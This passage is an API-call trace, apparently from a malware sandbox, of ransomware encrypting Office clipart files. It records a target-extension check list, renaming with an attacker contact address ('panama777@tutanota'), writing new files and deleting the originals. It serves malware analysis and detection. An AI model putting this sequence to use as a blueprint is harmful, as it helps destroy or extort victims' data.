	[0273.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63
	[0273.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63
	[0273.724] lstrlenW (lpString=".doc") returned 4
	[0273.724] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0273.724] lstrlenW (lpString=".docx") returned 5
	[0273.724] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0273.724] lstrlenW (lpString=".pdf") returned 4
	[0273.724] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0273.724] lstrlenW (lpString=".xls") returned 4
	[0273.724] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0273.724] lstrlenW (lpString=".xlsx") returned 5
	[0273.724] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0273.724] lstrlenW (lpString=".ppt") returned 4
	[0273.724] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0273.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63
	[0273.724] lstrlenW (lpString=".zip") returned 4
	[0273.724] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0273.725] lstrlenW (lpString=".rar") returned 4
	[0273.725] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0273.725] lstrlenW (lpString=".bz2") returned 4
	[0273.725] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0273.725] lstrlenW (lpString=".7z") returned 3
	[0273.725] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0273.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63
	[0273.725] lstrlenW (lpString=".dbf") returned 4
	[0273.725] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0273.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63
	[0273.725] lstrlenW (lpString=".1cd") returned 4
	[0273.725] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0273.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63
	[0273.725] lstrlenW (lpString=".jpg") returned 4
	[0273.725] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0273.725] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=7384) returned 1
	[0273.725] CloseHandle (hObject=0x334) returned 1
	[0273.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf")) returned 0x20
	[0273.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0273.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0273.726] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.726] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0273.960] GetLastError () returned 0x0
	[0273.961] ReadFile (in: hFile=0x334, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x1cd8, lpOverlapped=0x0) returned 1
	[0273.991] WriteFile (in: hFile=0x328, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x1ce0, lpOverlapped=0x0) returned 1
	[0273.993] ReadFile (in: hFile=0x334, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0273.993] WriteFile (in: hFile=0x328, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0273.993] SetEndOfFile (hFile=0x328) returned 1
	[0273.993] CloseHandle (hObject=0x328) returned 1
	[0273.993] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.993] SetEndOfFile (hFile=0x334) returned 1
	[0273.995] CloseHandle (hObject=0x334) returned 1
	[0273.995] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.995] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf")) returned 1
	[0273.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63
	[0273.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63
	[0273.995] lstrlenW (lpString=".doc") returned 4
	[0273.995] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0273.995] lstrlenW (lpString=".docx") returned 5
	[0273.996] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0273.996] lstrlenW (lpString=".pdf") returned 4
	[0273.996] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0273.996] lstrlenW (lpString=".xls") returned 4
	[0273.996] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0273.996] lstrlenW (lpString=".xlsx") returned 5
	[0273.996] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0273.996] lstrlenW (lpString=".ppt") returned 4
	[0273.996] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0273.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63
	[0273.996] lstrlenW (lpString=".zip") returned 4
	[0273.996] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0273.996] lstrlenW (lpString=".rar") returned 4
	[0273.996] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0273.996] lstrlenW (lpString=".bz2") returned 4
	[0273.996] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0273.996] lstrlenW (lpString=".7z") returned 3
	[0273.996] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0273.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63
	[0273.996] lstrlenW (lpString=".dbf") returned 4
	[0273.996] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0273.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63
	[0273.996] lstrlenW (lpString=".1cd") returned 4
	[0273.996] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0273.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63
	[0273.996] lstrlenW (lpString=".jpg") returned 4
	[0273.996] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.091] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=8680) returned 1
	[0274.091] CloseHandle (hObject=0x328) returned 1
	[0274.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf")) returned 0x20
	[0274.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0274.150] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.154] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0274.162] GetLastError () returned 0x0
	[0274.162] ReadFile (in: hFile=0x328, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x21e8, lpOverlapped=0x0) returned 1
	[0274.170] WriteFile (in: hFile=0x38c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x21f0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x21f0, lpOverlapped=0x0) returned 1
	[0274.171] ReadFile (in: hFile=0x328, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.172] WriteFile (in: hFile=0x38c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.172] SetEndOfFile (hFile=0x38c) returned 1
	[0274.172] CloseHandle (hObject=0x38c) returned 1
	[0274.172] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.172] SetEndOfFile (hFile=0x328) returned 1
	[0274.174] CloseHandle (hObject=0x328) returned 1
	[0274.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.174] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf")) returned 1
	[0274.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63
	[0274.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63
	[0274.174] lstrlenW (lpString=".doc") returned 4
	[0274.174] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.174] lstrlenW (lpString=".docx") returned 5
	[0274.174] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0274.174] lstrlenW (lpString=".pdf") returned 4
	[0274.174] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.174] lstrlenW (lpString=".xls") returned 4
	[0274.174] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.174] lstrlenW (lpString=".xlsx") returned 5
	[0274.175] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0274.175] lstrlenW (lpString=".ppt") returned 4
	[0274.175] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63
	[0274.175] lstrlenW (lpString=".zip") returned 4
	[0274.175] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.175] lstrlenW (lpString=".rar") returned 4
	[0274.175] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.175] lstrlenW (lpString=".bz2") returned 4
	[0274.175] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.175] lstrlenW (lpString=".7z") returned 3
	[0274.175] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63
	[0274.175] lstrlenW (lpString=".dbf") returned 4
	[0274.175] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63
	[0274.175] lstrlenW (lpString=".1cd") returned 4
	[0274.175] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63
	[0274.175] lstrlenW (lpString=".jpg") returned 4
	[0274.175] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.202] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=2148) returned 1
	[0274.202] CloseHandle (hObject=0x374) returned 1
	[0274.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf")) returned 0x20
	[0274.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0274.232] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.233] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0274.233] GetLastError () returned 0x0
	[0274.233] ReadFile (in: hFile=0x390, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x864, lpOverlapped=0x0) returned 1
	[0274.236] WriteFile (in: hFile=0x274, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x870, lpOverlapped=0x0) returned 1
	[0274.237] ReadFile (in: hFile=0x390, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.237] WriteFile (in: hFile=0x274, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.237] SetEndOfFile (hFile=0x274) returned 1
	[0274.237] CloseHandle (hObject=0x274) returned 1
	[0274.237] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.238] SetEndOfFile (hFile=0x390) returned 1
	[0274.239] CloseHandle (hObject=0x390) returned 1
	[0274.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.240] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf")) returned 1
	[0274.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63
	[0274.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63
	[0274.240] lstrlenW (lpString=".doc") returned 4
	[0274.240] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.240] lstrlenW (lpString=".docx") returned 5
	[0274.240] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0274.240] lstrlenW (lpString=".pdf") returned 4
	[0274.240] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.240] lstrlenW (lpString=".xls") returned 4
	[0274.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.240] lstrlenW (lpString=".xlsx") returned 5
	[0274.240] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0274.240] lstrlenW (lpString=".ppt") returned 4
	[0274.240] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63
	[0274.240] lstrlenW (lpString=".zip") returned 4
	[0274.240] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.240] lstrlenW (lpString=".rar") returned 4
	[0274.240] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.240] lstrlenW (lpString=".bz2") returned 4
	[0274.241] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.241] lstrlenW (lpString=".7z") returned 3
	[0274.241] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63
	[0274.241] lstrlenW (lpString=".dbf") returned 4
	[0274.241] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63
	[0274.241] lstrlenW (lpString=".1cd") returned 4
	[0274.241] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63
	[0274.241] lstrlenW (lpString=".jpg") returned 4
	[0274.241] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.242] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=14132) returned 1
	[0274.242] CloseHandle (hObject=0x390) returned 1
	[0274.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf")) returned 0x20
	[0274.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0274.243] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.243] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0274.243] GetLastError () returned 0x0
	[0274.243] ReadFile (in: hFile=0x390, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x3734, lpOverlapped=0x0) returned 1
	[0274.245] WriteFile (in: hFile=0x274, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x3740, lpOverlapped=0x0) returned 1
	[0274.246] ReadFile (in: hFile=0x390, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.246] WriteFile (in: hFile=0x274, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.246] SetEndOfFile (hFile=0x274) returned 1
	[0274.246] CloseHandle (hObject=0x274) returned 1
	[0274.246] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.246] SetEndOfFile (hFile=0x390) returned 1
	[0274.248] CloseHandle (hObject=0x390) returned 1
	[0274.248] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.248] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf")) returned 1
	[0274.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63
	[0274.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63
	[0274.250] lstrlenW (lpString=".doc") returned 4
	[0274.250] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.250] lstrlenW (lpString=".docx") returned 5
	[0274.250] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0274.250] lstrlenW (lpString=".pdf") returned 4
	[0274.251] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.251] lstrlenW (lpString=".xls") returned 4
	[0274.251] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.251] lstrlenW (lpString=".xlsx") returned 5
	[0274.251] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0274.251] lstrlenW (lpString=".ppt") returned 4
	[0274.251] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63
	[0274.251] lstrlenW (lpString=".zip") returned 4
	[0274.251] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.251] lstrlenW (lpString=".rar") returned 4
	[0274.251] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.251] lstrlenW (lpString=".bz2") returned 4
	[0274.251] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.251] lstrlenW (lpString=".7z") returned 3
	[0274.251] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63
	[0274.251] lstrlenW (lpString=".dbf") returned 4
	[0274.251] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63
	[0274.251] lstrlenW (lpString=".1cd") returned 4
	[0274.251] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63
	[0274.251] lstrlenW (lpString=".jpg") returned 4
	[0274.251] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.252] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=27084) returned 1
	[0274.252] CloseHandle (hObject=0x390) returned 1
	[0274.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf")) returned 0x20
